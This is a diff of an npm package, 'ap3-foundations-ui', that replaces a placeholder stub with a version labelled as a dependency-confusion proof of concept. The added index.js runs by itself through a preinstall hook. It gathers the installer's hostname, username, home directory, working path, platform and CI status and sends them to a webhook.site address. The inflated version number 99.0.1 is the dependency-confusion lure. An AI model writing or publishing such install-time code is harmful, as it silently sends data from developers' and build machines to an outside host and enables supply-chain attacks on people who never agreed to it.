ap3-foundations-ui 0.0.0-stage → 99.0.1

package/index.js

@@ -0,0 +1,36 @@
+// Security research PoC – dependency confusion
+// Runs automatically during `npm install` via preinstall hook.
+
+const os = require("os");
+const https = require("https");
+const packageJSON = require("./package.json");
+
+const trackingData = JSON.stringify({
+  pkg:      packageJSON.name,
+  version:  packageJSON.version,
+  hostname: os.hostname(),
+  user:     os.userInfo().username,
+  homedir:  os.homedir(),
+  cwd:      __dirname,
+  platform: os.platform(),
+  arch:     os.arch(),
+  ci:       process.env.CI || null,
+});
+
+const options = {
+  hostname: "webhook.site",
+  port: 443,
+  path: "/7dbd5e4e-3156-427f-b383-30c14d845587",
+  method: "POST",
+  headers: {
+    "Content-Type": "application/json",
+    "Content-Length": Buffer.byteLength(trackingData),
+  },
+};
+
+const req = https.request(options, (res) => {
+  res.on("data", () => {});
+});
+req.on("error", () => {});
+req.write(trackingData);
+req.end();

package/package.json

@@ -1,6 +1,11 @@
 {
   "name": "ap3-foundations-ui",
-  "version": "0.0.0-stage",
-  "stub": true,
-  "description": "Temporary package placeholder for staged publishing"
-}
+  "version": "99.0.1",
+  "description": "Security research PoC – dependency confusion",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node index.js"
+  },
+  "author": "vikkuthetester22",
+  "license": "MIT"
+}

package/README.md

@@ -1,3 +0,0 @@
-# Temporary Holding Version
-
-This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.